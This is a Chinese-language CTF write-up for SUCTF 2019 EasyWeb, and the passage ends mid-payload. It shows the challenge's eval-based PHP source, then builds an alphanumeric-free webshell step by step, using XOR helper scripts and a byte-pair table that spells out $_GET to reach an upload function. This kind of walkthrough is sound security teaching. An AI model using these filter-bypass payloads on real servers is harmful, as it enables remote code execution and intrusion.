本文最后更新于:2023年6月5日 下午
[SUCTF 2019]EasyWeb
这一题挺不错的
进去后获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
仔细观察一下正则:
1 2 3 4 5
| if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh);
|
一看就知道是无字母数字webshell,我们可以用取反、异或、自增、或、与进行构造
但是这里过滤了 ~ | & ,所以只有自增和异或了,但是自增会导致过长,所以采取异或
我们先写一个脚本来看看可以使用哪些字符:
1 2 3 4 5 6 7 8 9 10 11
|
for($i=0;$i<256;$i++) { $c = chr($i); if(!preg_match('/[\x00- 0-9A-Za-z\'"`~_&.,|=[\x7F]+/i',$c)) { echo $c.": ".urlencode($i)." + ".urlencode($j).PHP_EOL; } }
输出: !
|
可见,我们可以使用 $ { } ; ^
并且根据字符数限制,我们可以联想到使用GET传参的方式:$_GET[1]
但是这里中括号 [
被过滤了,我们可以使用 {}
代替:$_GET{1} = $_GET[1]
但是这些字符都使用不了怎么办?
我们需要使用 ^
进行异或构造:
1 2 3 4 5 6 7 8 9 10
| $arr = ['_','G','E','T']; $s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"; for($i=0;$i<256;$i++) { for($j=0;$j<256;$j++) { $c=chr($i^$j); if(in_array($c,$arr)&&strpos($s,chr($i))==false&&strpos($s,chr($j))==false) { echo $c." : ".urlencode(chr($i))." + ".urlencode(chr($j)).PHP_EOL; } } }
|
输出有很多,但是由于这里有字符种类的限制,所以我们尽量使用有一个异或值是一样的:
1 2 3 4 5 6 7 8
| _ : %FE + %A1 T : %FE + %AA G : %FE + %B9 E : %FE + %BB _ : %FF + %A0 T : %FF + %AB G : %FF + %B8 E : %FF + %BA
|
(这里需要知道,url编码后为%FF
的值与其他值进行异或的话,其实是将该值取反,因为其二进制值为全1)
于是我们可以将这些值拼接起来,调用get_the_flag
函数:
`$